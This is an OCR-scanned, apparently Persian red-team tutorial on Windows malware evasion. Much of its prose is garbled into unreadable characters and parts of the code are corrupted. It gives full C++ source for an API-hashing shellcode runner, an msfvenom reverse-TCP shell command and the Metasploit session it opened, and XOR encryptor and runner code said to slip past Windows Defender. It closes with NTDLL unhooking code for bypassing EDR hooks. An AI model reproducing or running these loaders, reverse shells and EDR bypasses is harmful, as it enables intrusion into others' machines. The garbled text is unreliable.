& ol jeaig e oo 1yl Ll JouiS asliy (o839 .l aoly £4,5 alais main &b @
YW1 FAIRCRp JES E CIRCC g P SR
Dgd o E5,0 Ol 5| zase a5 sl ol ol wolu lo

HMODULE hModule = LoadLibrary(L"user32.dl1");
P90
slad J>1s 1, (Dynamic Link Library | Ly aibwlis) DLL | S LoadLibrary & e
S o ()L dxd ley caladl>
@loys slade cpl 1l S oy HMODULE o5 3 Jlade o aob cds plowil IS ol o8y
o)lal alisl> jo DLL )] (sl Lwpol @ a5 cal oo ()J35,0 Jgsle (awlis) Jous
Jolis userYY.dll b .cwsl Unicode (Wide String) (gais, S LuserYY.dIl” aiis, e

MessageBoxA s ool (GUI) 590009 (5,0, Laily ailgs

Sl pgeo 1>
QS o 1y ol U3 wlss wilgs o3 GetProcAddress b ¢ouiSs (5,l35,b (swd & 508 1, DLL ST

if ('hModule) {

std::cerr << "Failed to load user32.dll!" <<
std::endl;

return |;

}
YY)
il oo 12! Cudbge b LoadLibrary 4 oS cw,p ol dduen @

AR
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15,5 a s NULL e aols ol (il 4l 1 o cpadlss sy 30

typedef int (WINAPI* MsgBoxFunc) (HWND, LPCSTR, LPCSTR,
UINT) ;

PoRae
o,Lal mli 4y 45 MsgBoxFunc pbi ay oS oo iy i @l 4y S0 Lol (gools g5 G Loyl @
‘MessageBoxA al sl ol )y o sl les b S 0

(sl g )Ll a5 cdlg 0 2iy) 0,0y Jau :HWND o
S 00> ioles Canl (1,3 457 e play (LPCSTR - ©
ol 0,2 lsie (LPCSTR - o

(o, 9 OK/Cancel sloasSs 6501 g5 Jio) loSls :UINT o

calling) Slg>1,8 olo,l 8 iy g oo Joaud stdcall a4 a5 <ol 6,51e S WINAPI o

APl algi (gl 5 5995 0529 (cONvention

MsgBoxFunc OrdinalBoxA =
(MsgBoxFunc) GetProcAddress (hModule, (LPCSTR) ),

:r>9.er.fu

ll,.e) 0,5 o Py QLQ;)T Ol 1, &b pl Uw GetProcAddress U e
("MessageBoxA"
LPCSTR g4 & |, cawl Ordinal Khles a5 (YVA+) sae S b pb sloay doesl Ll @

oo 8 50 9 00,5 s
Bl oo St az 2dlg o

S¢S 336 S LPCSTR ()logS )T LT 4 &S o cuy 0 (095 (43,0 GetProcAddress &l o

4 L Cuwn (Ordinal)
55 Ordinal o)lets o1 ;3 a5 b LoydT Losiiins 5 03,5 o5 @l ol Jlos Kool 51 @

1o )5 ooy 1y Cosl (Export Address Table) & .S (slo o] Jgax

oS oo oolaiwl Ordinal 5l | >

AN
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Foone Dh3ly Joaz )3 () 09b plowl las; 6l G @l SIS 0sd e el @
(S
3,5 50 1y APl Ll algs (Static Analysis) Sobwl olulil gol> @

if ('OrdinalBoxAd) {
std::cerr << "Failed to locate the function!" <L

std::endl;
FreeLibrary (hModule) ;
return |;

‘P gRae

10,5 oo NULL laie GetProcAddress wgis low Ordinal o)leis o, b uls 51 @
B asliy 3l g oS ol31 1, DLL &5 bogs o aolis Freelibrary Jlgs18 b wl &y (ol )5 @

OrdinalBoxA (NULL, "Hello, World!"™, "Test MessageBoxA",
MB OK | MB ICONINFORMATION) ;

YY)
Sl so Sle1)8 oads Loy Ordinal o jles | a5 MessageBoxA ali Cwod ol )0 @
Hlas e coiy eyl e
(s 0y2iy) 0005 0929 Wlg 0 2y Sy NULL - ©
Sgin g0 0318 Linles a5 aloy %o :"Hello, World" o
plo oty lgie 'Test MessageBoxA" o
Slas !, Slelll e T L ol o OK 4055 :MB_OK | MB_ICONINFORMATION o

...\.3:«)‘59

FreeLibrary (hModule) ;
return 0;

‘P gRae

a5 By g 48,5 e o] wlie g 090 ol aladl> 5l DLL 1 a5 045 oo b Freelibrary b
Qb e plad oI b (518
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odansy b 4 ez a0y 5 oad |zl Cuddge b sl aS cawl ol saies jlid oo return + & le
- (Global Scope)
main() {

LE hModule = LoadLibra
hModule) {
std: :cerr < "Fail

Test MessageBoxA X

(WINAPI* P , LPCSTR, LPCSTR, UI
inc OrdinalBoxA = inc)GetProcAddress(hModule,

if (10rdinalBoxA) { Oneuo, World:

std: :cerr il L the " << std::endl;
FreeLibrary(hModule);
return 1;

FreeLibrary(hModule);
return 0;

\ordinalpe.exe

.L(L;/)>/4M' J'/.'.g}.A:"

oiwles 1) "Hello, World" e oS 548 o yalls (MessageBox) plo o, G sl sl b

il b & oads 003 laus Ordinal b & Jg s oo

\YY
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Sgig APL (33,5 o
&lg a3l piivns coliiwl sloay (runtime) |zl Lo jo a5 sl (S5 5909 APL 40,5 i
QS e ool o (LB sadacule sla i 5l API

lacl «aiy las |, GetProcAddress(hModule, "VirtualAlloc") &b W aoly oSl e le
Ban Jgsle (Export Table) &l jolo Jgaz 10 e g 08,5 dwle |, "VirtualAlloc" as, ia

QS 28l o |y ol eyel g oS o 1y alie e b 00,5 oo

Aol 0 g Wigdd 0, deliy b o cole e Djygod APL milg b 0gd co Gl g, (pl
S oo oolawl (Red Team) jo,8 slops (slo )15l 5 b jl58l0 doaS’ L

?oyiuﬁoou;wlAPlQo)fuxmjlb%

o] o

Jguz b aslp )3 APL (il BB (slapls 0925 1 (55 ol SIS (e
syl

EDR (slapins 5 Lo g pg il G 5 jue & S8 @loled 5l 53

350 3T b e 1alS el i ol laans) o058 S x> phals

ol )N sladsile 51 LT plo 5o AP mils (8L Saalials (p4l53,

AP o5 i S5 L (i

CalculateHash @b
Sae Sy o 1y (B e al> e a0 35le e (& pL) (639)9 41, 5l (SB)law (Ae SH & (ol
S oo Sguzme S VT ] s Sules 50 5 WS (0 e (b SIS ke b e 9 022 S

DWORD CalculateHash (const char* functionName) {
DWORD hash = ;
while (*functionName) {
hash = (hash * ) + (*functionName) ;
hash &= ;
functionName++;

}

return hash;
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GetModuleBase gl
GetModuleHandleA ;| osliwl b 1) oo (5,135 ,L DLL <, (Base Address) al ol a5 b

kernelYY.dIl e 0,5 oo

HMODULE GetModuleBase (const char* moduleName) {
return GetModuleHandleA (moduleName) ;

ResolveFunctionByHash &b
odds lo al o ol S o g,y gy (aeie Jgile S (Export Table) ol jole Jguz &b ()
oyl iy Cdllae oo b o ie ST.405 o auslis (target hash) Bus o b g a8 o i g,

Al o 03l CuiT g Al (gl JUpo )l ojleds 5l oolal b &b

ol a5 JSG @ b

FARPROC ResolveFunctionByHash (HMODULE hModule, DWORD
targetHash)

o ool oSl 5 & s 5o

oxS s Joile 5l 9, NT 5 DOS (slajan o

a5 oo |y g, (Export Directory) &l jole (5,655 pls Joro @

A4S o gy 9y 00D olo ailgy plas oL AddressOfNames cuwd 3 ,b 51 @
(CalculateHash &l L) 4S5 oo dwlee o ol 2 (gl @

G99, oy 35 &b ol 0g plp Ban e b osd dlns e ST e

A ool el 5l painns oolainl gy g Salinls O ygoay s a0 ali il ay @

..661).9 ..\.35)

Dgd o plml cud 4 py e Il b o

B9 5o Arwlee WaitForSingleObject 4 CreateThread WJVirtualAlloc o APl &gy o )
Al oo Cwd 4 dlIYYkernel Jgile al w0 GetModuleBase b 5l eolawl L
D9 o I o yie auslie b wlgs ol ResolveFunctionByHash 3l eslaiwl b (s
g s 00ls plaisl VirtualAlloc 1>l LB glalasl>

Db e (oS abdl> pl 5l 4 (shellcode) pls oS

A > T S

59 1y> shellcode oS" U 598 o sbw| CreateThread L oyo= (thread) &8

AR
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Sy bl 4 & 2 U il oo ki WaitForSingleObject .Y

dgas oS avll>

(ol glaie yio 2l b col (Sas) (goulS io polie
DWORD hashVirtualAlloc ;
DWORD hashCreateThread = ;

DWORD hashWaitForSingleObject =
CalculateHash("WaitForSingleObject");

d“'s)(f )LT O L&buT r:L: )‘ W oolawl 05“)') é}‘}: UO; ld..u L;‘)’ f.)LﬂA LJ.J‘
Dloaseslaiwl JL».A 40 4S AP ol

typedef LPVOID (WINAPI* pVirtualAlloc t) (LPVOID, SIZE T,
DWORD, DWORD) ;

typedef HANDLE (WINAPI*
pCreateThread t) (LPSECURITY ATTRIBUTES, SIZE T,
LPTHREAD START ROUTINE, LPVOID, DWORD, LPDWORD) ;
typedef DWORD (WINAPI* pWaitForSingleObject t) (HANDLE,
DWORD) ;

0igle5y GWAPL cpl 5l oolaiul b 09l o )2l dyax (thread) & G

«(Full Source Code) are JulS oS
#include <Windows.h>

#include <iostream>

// Hash function to obfuscate API names
DWORD CalculateHash (const char* functionName) {

DWORD hash = ;7 // seed

while (*functionName) {
hash = (hash * ) + (*functionName) ;
hash &= ; // keep result within 24 bits
functionName++;

}

return hash;
}
// Get the base address of a loaded DLL
HMODULE GetModuleBase (const char* moduleName) {
return GetModuleHandleA (moduleName) ;

}
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// Resolve an API function by matching a precomputed
hash against export names
FARPROC ResolveFunctionByHash (HMODULE hModule, DWORD
targetHash) {

if ('hModule) return nullptr;

auto dosHeader = (PIMAGE DOS HEADER)hModule;
auto ntHeaders = (PIMAGE NT HEADERS) ((BYTE*)hModule
+ dosHeader->e lfanew);

DWORD exportDirRVA = ntHeaders-
>OptionalHeader.DataDirectory [IMAGE DIRECTORY ENTRY EXPO
RT] .VirtualAddress;

auto exportDir =
(PIMAGE EXPORT DIRECTORY) ( (BYTE*)hModule +
exportDirRVA) ;

DWORD* namesRVA = (DWORD*) ((BYTE*)hModule +
exportDir->AddressOfNames) ;

WORD* ordinals = (WORD¥*) ((BYTE*)hModule + exportDir-
>AddressOfNameOrdinals) ;

DWORD* functions = (DWORD¥*) ((BYTE*)hModule +
exportDir->AddressOfFunctions) ;

for (DWORD i = 0; 1 < exportDir->NumberOfNames; i++)
{
const char* functionName = (const
char*) ((BYTE*) hModule + namesRVA[i]);
DWORD hash = CalculateHash (functionName) ;

if (hash == targetHash) {
WORD ordinal = ordinals[i];
DWORD functionRVA = functions[ordinal];
return (FARPROC) ((BYTE*)hModule +
functionRVA) ;
}
}

return nullptr;

}
// Example shellcode (for demonstration only)
unsigned char shellcode[] = {
, , , // xor rax, rax
’ ’ ’ // inc rax
// ret

VF)
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int main() {
// Precomputed hashes for the desired APIs
DWORD hashVirtualAlloc =
CalculateHash ("VirtualAlloc™);
DWORD hashCreateThread =
CalculateHash ("CreateThread") ;
DWORD hashWaitForSingleObject =
CalculateHash("WaitForSingleObiject") ;

std::cout << "VirtualAlloc hash: 0x" << std::hex <<
hashVirtualAlloc << std::endl;

std::cout << "CreateThread hash: 0x" << std::hex <<
hashCreateThread << std::endl;

std::cout << "WaitForSingleObject hash: 0x" <<
std::hex << hashWaitForSingleObject << std::endl;

// Get kernel32.dll base
HMODULE hKernel32 = GetModuleBase("kernel32.d11");
if ('hKernel32) {
std::cerr << "Failed to get kernel32.dll base
address" << std::endl;
return -1;

}

// Resolve APIs by hash

auto pVirtualAlloc = (LPVOID(WINAPI*) (LPVOID,
SIZE T, DWORD, DWORD))ResolveFunctionByHash (hKernel32,
hashVirtualAlloc) ;

auto pCreateThread =
(HANDLE (WINAPI*) (LPSECURITY ATTRIBUTES, SIZE T,
LPTHREAD START ROUTINE, LPVOID, DWORD,
LPDWORD) ) ResolveFunctionByHash (hKernel32,
hashCreateThread) ;

auto pWaitForSingleObject = (DWORD (WINAPI*) (HANDLE,
DWORD) )ResolveFunctionByHash (hKernel32,
hashWaitForSingleObject) ;

if ('pvirtualAlloc || !'pCreateThread ||
'pWaitForSingleObject) {
std::cerr << "Failed to resolve one or more
functions." << std::endl;
return -1;

\FY
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// Allocate memory for shellcode

LPVOID execMem = pVirtualAlloc (NULL,
sizeof (shellcode), MEM COMMIT | MEM RESERVE,
PAGE EXECUTE READWRITE) ;

if ('execMem) {
std::cerr << "VirtualAlloc failed." <<

std::endl;
return -1;

}

// Copy shellcode to allocated memory
memcpy (execMem, shellcode, sizeof(shellcode));

// Execute shellcode
HANDLE hThread = pCreateThread(NULL, O,
(LPTHREAD START ROUTINE)execMem, NULL, 0, NULL);

if ('hThread) {
std::cerr << "CreateThread failed." <<

std::endl;
return -1;

}

// Wait for shellcode to finish
pWaitForSingleObject (hThread, INFINITE) ;

return O;

9ol Cumnl 58l g Kipars o) din )0 E9.090 ol |2
il Coglsl o (Stealth) o )15 les a5 WS o oy Coonl (35 APL 0 )5 i

&S oo 5 S gl dal g0 ol glaals; Ojgod APL aseis BB sl cols 1351 e

Bl o odl aislis (import) calssjls wiles ulwl 5 ololiss il @

in-memory ) glakdl> slocilal (staged payloads) lal> e slog)laS,L o o
3,0 54,5 (shellcode runners) as L& (gl ,>1 9 (implants

Ll oley 5o bdsile @lulid g ool (6,550, i Jsloz oljem 4 (508 colB o

Sl
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erbsy b By el APL lgs 30,5 oy (gl b piey 5 Seolins slo g, 5l (padn S5 ()
PE LB 90 asli s 1,21 b (indirect syscalls) ppiivvs yof (sodiww slo sls>1,3 unhooking  Jie
S o o0l)3 1y ol J e,y )b Sl g S 5

(Cdlug ,Sile somw, Olaizue) Windows APl olacins

GetModuleHandleA .\
Lol ojbes aal ety Wl )T sop el 0ud (6,135 ,L WS a5 (GDLL (gl (awd) Jas
WS (5,138 5k

https://learn.microsoft.com/en-us/windows/winY'Y/api/libloaderapi/nf-libloaderapi-

getmodulehandlea

VirtualAlloc .Y
AR o yarass Jad a8 gl u,u)o—‘ wlas yo glakasl>

U‘ S.‘i

https://learn.microsoft.com/en-us/windows/winY'Y/api/memoryapi/nf-memoryapi-

virtualalloc

CreateThread .Y
D9 1l gyl anl s ool slad o b ojle se wyax (Thread) as,

https://learn.microsoft.com/en-us/windows/winY'Y/api/processthreadsapi/nf-

processthreadsapi-createthread

WaitForSingleObject  .¥
05.“4 |DL<)J Q?‘f”“b l.t ..\.wl) JL&O_MJ/ Sl o 0 ,aM’ ;‘sw i AJLQLSA ,.’a.....a

U‘ S.‘i

https://learn.microsoft.com/en-us/windows/winY'Y/api/libloaderapi/nf-libloaderapi-

getprocaddress
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https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread
https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress
https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress

78 o Sl 590009 APl drwss p (gl deaiio
GetProcAddress .0
15 )5 ey |y 00l Laseive DLL i (exported) oo yolo o b aoli S w0l

https://learn.microsoft.com/en-us/windows/winY'Y/api/libloaderapi/nf-libloaderapi-

getprocaddress

IMAGE_DOS_HEADER / IMAGE_NT_HEADERS / IMAGE_EXPORT_DIRECTORY £
oolaiwl DLL > (export tables) ouis jolo sla Jouz g b,oe yailes (gl a5 PE gla,lizle

Nig 0

https://learn.microsoft.com/en-us/windows/winY'Y/debug/pe-format

(célug ol IS sled) PE File Format
Portable Executable L0 ;Lslo o)l S mosgs

https://learn.microsoft.com/en-us/windows/winY'Y/debug/pe-format

Gls8lay aé iy sl SusS) APl Hashing

asloy ol ar s sl ;0 Ll oot aitus Cdlug Sole Jawgs comy O yg0ds Eg050 (ol 4z S

| 00

Sikorski & Honig - (LS Practical Malware Analysis e
Russinovich, Solomon, lonescu - (wLS) Windows Internals .
iile el asol> (glooje, @

https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-
malware

https://github.com/CyberSecurityUP/Windows-API-for-Red-Team
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alibl> slacidailons g a5 L5 gl 2]
oS L b dape 6baSiy, o PAGE_EXECUTE_READWRITE ¢ ¢ jlne akisl> o)

https://learn.microsoft.com/en-us/windows/winY'Y/memory/memory-protection-constants
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aadls o o1 izl o XOR b oS L (6,88 50,

doddne

S olaz! Lol e e oo Ll b 1zl cal ojlls cog oS Jase (o 1) oS S S8
5 g g o] wile sl slo,Sal, Lwgs (behavioral) s,ls, 4 (static) bw! slo ololiss

.| Endpoint Detection and Response (EDR) (sl eiun

el (obfuscation) (gjle woae SLSESS (1 5 g0 lzren Ll o 5ol 51 S5 XOR (5,135 50,
Al cuSil BB Lol olles S 5l oslaiul b 1) (payload) (sog55 (gools 5l ol o (g, on)
(ol geSl s Lol 5l hg) cpl e oolaiwl e o FT.a2 oo pesd 0SSO L XOR
G sl gd oo oy (6l Sl b oS L )0 Ugere a5 sadaizbils glalasl U oas,

LN

bl gla arass wilsi o jee (yde 518, Sl sige Lol cel Sige Ll Llos (sl () 02
e ol 8 0 b UG lsres XOR (Jlcpll aisS” olulis 1) ol 2! gla )L, § S
Dgd o Cgmno (55l

XOR (5,135 50, ,IS 0920

Oled wiewl )late XOR (g2 a8 o Jlasl oS LS 5l <ol o 4 1) olS™ (exclusive OR ;) XOR
Jlo jabay auS HliS ie ) 9 (5,005 50, 1) Waools wilgy so oS len b Sllos

EncryptedByte = OriginalByte XOR KeyByte
OriginalByte EncryptedByte XOR KeyByte

Sl e 1 (835,9 03ls IS ailys o redteamexercises” ale (gledigds )5 oS 5l eolaal b
o 5 05 L b g0l oS oy 4 o o S

) %y,

/tmp/shellcode
p windows/x64/shell_reverse_tcp lhost=eth® lport=4421 -f c > shell

code. txt
[-] No platform was selected, choosing Msf ::Module:: Platform::Windows from the p

EVAGET:

[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload

Payload size: 460 bytes

Final size of c file: 1963 bytes

S S ddgi= V) gai

VFA



78 w25 Sl e APl angs (ol deniie
8,5 sloul 5 ,law payload cuS'adgs o L Donut amsfvenom Jie olayl5l b oles oo 1) o5 i
i

msfvenom -p windows/x64/messagebox TEXT="Hello" -f c

DS ooliiwl oS s adss sl bags CY gzl 5l auilgh oo oo

Encryptorepp® & X

] Encryptor - (Escopo Global)

shellcode[]

"\xFc\xu8\x83\xed\xfo\xe8\xco\x80\x08\x86\ x41\x51\xU1\x56"
\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\ x52\x60\xu8\ x8b\x52
“\x18\xu8\x8b\x52\x28\ xu8\ x8b\x72\x56\ x48 \xb7\xtda\xua*
“\xad\x31\xc9\x48\x31\xcO\xac\x3¢c\x61\x7c\x82\x2c\x268\ xu1"

"\xc1\xc9\x8d\x41\x81\xc1\xe2\xed\x52\x41\x51\x48\ x8b

"\x20\x8b\x42\x3c\x48\ x01\xde\x8b\x88\ x88\ x60\ x00\ x08

74\x67\x48\ x01\xde\ x50\ x8b\ x48

\xd®\xe3\x56\xu48\xfF\xc9\x41\x8b\x34\ x88\xu8"
\xc9\x48\x31\xcO\xac\x41\xcl\xco\x0d\x41"
\xe®\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
7 \ x4\ x8b\ x4\ x24\x149\x01\ xd6\x66\x41\x8b\xec"
\xH8\x44\x8b\ x40\ x1c\xU49\x81\xd8\x41\x8b\x64\x88\x48\x81"
xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
x48\x83\xec\x20\x41\x52\xf£\xe8\x58\x41\x59\x5a\xu8\x8b"
12\xe9\x57\xFF\xFF\xFF\x5d\xu9\xbe\x77\x73\x32\x5f\x33*
x32\x08\x80\xU41\x56\xU9\x89\xe6\x 48\ x81\xec\xad\x01\x80!
\x08\x49\x89\xe5\xu9\xbc\x82\x88\x11\ x5\ xcO\xa8\x55\x90
\xU1\x54\xu9\x89\xet\ xUc\x89\xF1\x41\xba\xUc\x77\x26\x87"*
“\xfF\xd5\xuc\x89\xea\x68\x01\x01\x08\x86\x59\xu1\xba\x29"
"\x80\x6b\x80\xFF\xd5\ x50\ x50\ xud\x31\xc9\xtd\x31\xcO\xu8"

encryptor.cppl oS Ls s)fiSe, = IV gar

DS ey oS b pls BL S, e
S o Jles! ("redteamexercises™) oS L | XOR (5 3550, @

el Gl o3lail g ol (65135 50, oS i Julis a5 0 oo adsi wa (h) joa LB S, e
.encryptor.cpp

#include <iostream>

#include <fstream>

#include <vector>

#include <string>

// XOR encryption key
const std::string key = "redteamexercises";

1¥4
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// Raw shellcode

unsigned char shellcode[] =
"\xfc\x48\x83\xed\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x5
Oll
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x5
2”;

const size t shellcode size = sizeof (shellcode) ;

// XOR encryption function
void xor encrypt(std::vector<unsigned char>& data, const
std::stringé& key) {
for (size t i = 0; i < data.size(); i++) {
data[i] #*= key[i % key.size()];
}
}

int main() {

std: :vector<unsigned char> encrypted(shellcode,
shellcode + shellcode size);

xor encrypt (encrypted, key);

std::ofstream output ("encrypted shellcode.h™);
output << "#pragma once\n'";

output << "unsigned char encrypted shellcodel[] = {";

for (size t i = 0; i < encrypted.size(); i++) {
output << "0Ox" << std::hex << (int)encrypted[i];
if (i '= encrypted.size() - 1) output << ", ";

}

output << "};\n"

output << "const size t shellcode size = " <<

encrypted.size() << ";\n";
std::cout << " [+] Encrypted shellcode saved to

encrypted shellcode.h\n";
return 0;

}

Encryptoraci, sl>F 1V aai

S 3dsi encrypted_shellcode.h L1 b osS 1>l 9 LLlS | encryptor.cpp oS
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Started reverse TCP handler on 192.168.85.144:4421
msf6 exploit( Vi Command shell session 2 opened (192.168.85.144:4421 -
> 192.168.85.130:52083) at 2025-03-01 11:13:57 -0500

msf6 exploit( ) > sessions -i 2
Starting interaction with 2 ...

Shell Banner:
Microsoft Windows [Version 10.0.19045.5011]

runner.cpp b .S L5 sl -1F poai

Sl 00l (5,005 50, 00ls Jolls @
.¢5LfL§u5}%.%b'QungdEb-Pl)oi .
20 oo plaisl gl glakdl> e

&S o >l CreateThread sloslaiwl L1, o5 Jo o

.runner.cpp
#include <windows.h>
#include <iostream>
#include "encrypted shellcode.h" // Include generated
header

const std::string key = "redteamexercises";

// Decryption logic
void xor decrypt(unsigned char* data, size t size, const
std::stringé& key) {
for (size t 1 =0; 1 < size; i++) {
datal[i] *= key[i % key.size()];
}

int main() {
std::cout << "[+] Starting shellcode decryption and
execution...\n";

xor decrypt (encrypted shellcode, shellcode size,
key) ;

vold* exec mem = VirtualAlloc (nullptr,
shellcode size, MEM COMMIT | MEM RESERVE,
PAGE READWRITE) ;

VO
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if ('exec mem) {
std::cerr << "[-] Memory allocation failed\n";
return |;

memcpy (exec_mem, encrypted shellcode,
shellcode size);

DWORD oldProtect;
if (!'VirtualProtect (exec mem, shellcode size,
PAGE_EXECUTE_READ, &oldProtect)) {

std::cerr << "[-] Failed to change memory
permissions\n";

return |;

HANDLE hThread = CreateThread(nullptr, O,
(LPTHREAD START ROUTINE)exec mem, nullptr, O, nullptr);
if ('hThread) {
std::cerr << "[-] Thread creation
return |;

ailed\n";

WaitForSingleObject (hThread, INFINITE) ;
return 0;

Virus & threat
protection

@ Current threats Mivp » quiesion

o Virus & threat protection
settings

~, Virus & threat protection
“® updates
|

JlsDefender L)« jouiss o5, [/~ 10 g

VOY
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D9 9 39 Aldg Smd & aSl g 398 ol bl jo b g oud (gile et S B (g
b lalad wilgiy el S dmport Address Table (IAT) jo SU s APl g 50 S5 )lg

(s laie jee Cunl (Sae BlacST Slolis b ad iy sWEDR ax> S1) &5y 90 |, Defender

(Payload a5 L) (weSan Jio (g8 — & JSG
boeplin Gioled (woSae i S5 bl az—uuin 1) Ul 0550 L8, wb il |2 oS b By

§ 5590 payload ;& 4l,>

Lol » (e slaugpastl b dblie ol .l Silo mame 50 Slasl By, <o XOR (6,138 350,
D18 (goguzme cladlre (5,L8, GEDR b i j52 slo 5550 pl 40 Lol el vide

J-“-@f Cdadlos 6‘)‘3

DS S 5 (Bolal (5,05750)) S ygondsy L |, XOR o

S oo ) L3S e, g,

S ol S8 sty 4 b il b 4l oleShe, e
S ool RWX aliblo gblio b il jy e sloyog) 5 @

DS bgle j9aig GWAPL bo ) 5l (6,5 el> (gl |, syscall slastub g API-hashing e

VO
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Suwd (59, 3l text yisw oL LNTDLL o, unhook gls 350

615 290

(inline hooks) > slaSsn Uw Endpoint Detection and Response (EDR) ;o0 (sl
system ) i s Sls3,2 b aims oo 13 atdiLdll Logases o5 )5 cdl> sleDLL J5s 1,
oo a5 text DLL _5u o Usass bbSsn ol aiiS et | & e slo s, 5 (5,056, 1, (calls
X555 oo s wenl lasyscall stub o 53

&lg a5 b les Wilgs oo EDR «(EDR oS 4y call L jmp jgiws 50,5 adlol fie) b Josdljgiws yuoss b

&S g ooslise |y g NtCreateThreadEx NtOpenProcess o gl

S 555 gol> g 2ils, 55k 1 syscall Lol slastub g5 o calidl> jo ol text iy lass
&85 1 EDR (5,5 >

5,5 unhook |, NTDLL wb |,>

AN XY
& jmp I oulS slapdyay Sis EDR Lo slacSgn (495 590
(EDR.dII
oiions o€ by pais syscall sl Sass (6l 5o syscall glastub 40,5 Jlad
69y 68, lysiile Had Jb 5l (5,5 ol dluiteo gl o5l
API u»LoJ
St UL Sl ysd b )5 5y 0 LS sal5 o gl Laa
S5 8 wdg,
FB /0 5l eolal b S 5l s ntdlldll g 35,6 )
s_imaé65)94\L:5L’>)OW5»))J&PEL5L®)MUQ;U»)L Y
(W5yls 3 syscall glastub a5” ,l>) text isw oo ,5 oy Y
L VirtualProtect L  xde B 4 text  albls  cdadlre Cdge  oss ¥
NtProtectVirtualMemory
Sl el and b abddl> (0 00l Sge ion awmsilh 0

ole i) L ol alibls clibls pils S5k £

VOF
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[EYNRYREN
Njsed 90 | ETW/AMSI L L)S cdl> slaSgn @
023 i el (e 035 i Ll o 0 b w3l RWX el o alisl> 51 o
oslitul ()5 2l APl (3luosbusl b (syscall 5,5 Sg) SSDT I &5 lsEDR
wS plelid 1) )k, pliores Sl (See wS o0
5,15 3925 o2 dIIYYadvapi L .dIIYYkernel Jio 5,55 sDLL ;o laSgn >, @

text. isw bk G,k 5l Unhook NTDLL s )35k oS

#include <windows.h>
#include <winternl.h>
#include <iostream>
#include <vector>
#include <fstream>

// Gets RVA and size of the .text section
bool GetTextSectionInfo (BYTE* moduleBase, DWORD& rva,
DWORD& size) {

auto dos = (IMAGE DOS HEADER*)moduleBase;

if (dos->e magic != IMAGE DOS SIGNATURE) return
false;

auto nt = (IMAGE NT HEADERS*) (moduleBase + dos-
>e lfanew);
~ if (nt->Signature != IMAGE NT SIGNATURE) return
false;

auto section = IMAGE FIRST SECTION(nt);
for (WORD i = 0; 1 < nt-

>FileHeader .NumberOfSections; ++i) {
if (strncmp((char*)section->Name, ".text'", 5) ==

rva section->VirtualAddress;
size = section->Misc.VirtualSize;
return true;

}

++section;

}

return false;

VOO
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// Loads ntdll.dll from disk into memory buffer

std::vector<BYTE> LoadCleanNtdllFromDisk () {
WCHAR systemPath[MAX PATH];
GetSystemDirectoryW (systemPath, MAX PATH);

std::wstring fullPath = std::wstring(systemPath) +
L"\\ntdll.dl1l";
std::ifstream file(fullPath, std::ios::binary);

if ('file) {
std::cerr << "[-] Could not open ntdll.dll from
disk.\n";
return {};

}

file.seekg (0, std::ios::end);
size t fileSize = file.tellg();
file.seekg (0, std::ios::beqg);

std: :vector<BYTE> buffer(fileSize);

file.read(reinterpret_cast<char*>(buffer.data()),
fileSize);

file.close();

return buffer;

}

int main() {
std::cout << " [+] Starting NTDLL unhooking...\n";

// Get loaded ntdll base address
BYTE* loadedNtdll =
(BYTE*) GetModuleHandleW(L"ntdl1l.d11");
if (!'loadedNtdll) {
std::cerr << "[-] Failed to get ntdll base
address.\n";
return 1;

}

// Get loaded .text RVA and size
DWORD loadedRVA = 0, loadedSize = 0;
if ('GetTextSectionInfo (loadedNtdll, loadedRVA,

loadedSize)) {
std::cerr << "[-] Failed to get .text info from

loaded ntdll.\n";
return |;

}
VoF
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BYTE* loadedTextBase = loadedNtdll + loadedRVA;

std::cout << "[+] .text in memory: " <<
static_cast<void*>(loadedTextBase)
<< " | Size: " << loadedSize << "\n'";

// Load clean copy from disk

std: :vector<BYTE> cleanNtdll =
LoadCleanNtdllFromDisk () ;

if (cleanNtdll.empty()) return 1;

// Get clean .text RVA and size
DWORD cleanRVA = 0, cleanSize = 0;
if ('GetTextSectionInfo (cleanNtdll.data(), cleanRVA,
cleanSize)) {
std::cerr << "[-] Failed to get .text info from
clean ntdll.\n";
return |;

}

std::cout << "[+] .text in clean ntdll at RVA: 0Ox"
<< std::hex << cleanRVA

<< " | Size: " << std::dec << cleanSize <<
n\nn,.
if (cleanSize != loadedSize) {
std::cerr << "[-] .text size mismatch between

disk and memory.\n";
return |;

}

if ((cleanRVA + cleanSize) > cleanNtdll.size()) {
std::cerr << "[-] Clean .text section exceeds
file size bounds.\n";
return 1;

}

BYTE* cleanTextBase = cleanNtdll.data() + cleanRVA;

// Change protection to RWX
DWORD oldProtect = 0;
if (!'VirtualProtect (loadedTextBase, loadedSize,
PAGE_EXECUTE_READWRITE, &oldProtect)) {
std::cerr << "[-] Failed to change memory
protection.\n";
return |;

}
Vov
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std::cout << "[+] Patching .text section in
memory...\n";

// Overwrite with clean .text
memcpy (loadedTextBase, cleanTextBase, loadedSize);

// Flush CPU instruction cache (important after
patching syscall stubs)

FlushInstructionCache (GetCurrentProcess(),
loadedTextBase, loadedSize);

// Restore original protection
DWORD tempProtect;
if (!'VirtualProtect (loadedTextBase, loadedSize,
oldProtect, &tempProtect)) {
std::cerr << "[-] Failed to restore memory
protection.\n";
return |;

}

std::cout << " [+] Unhook complete. NTDLL restored
from disk.\n";
return 0;

—

[+] b9fcpTUB -feXf 26CETOU TW WEWOLA® " *
[+] -£exg Tw cTe9W WEQTT 9f BAV: OXTEO | 2Ts6: IT2T3T6

[+] -£exf Tu wewoLA: ©OOOAEEITBCRTARE | 2TS6: ITR2T3T6
[+] 2f£3L£TUR WLDIT NUPOOKTUR: - -
C:/n26L2/K6qL69W>C: /neske /E6qLeam/2onLcs /Leboe /exswbTez /xet/DepnB/exsubTee - exe

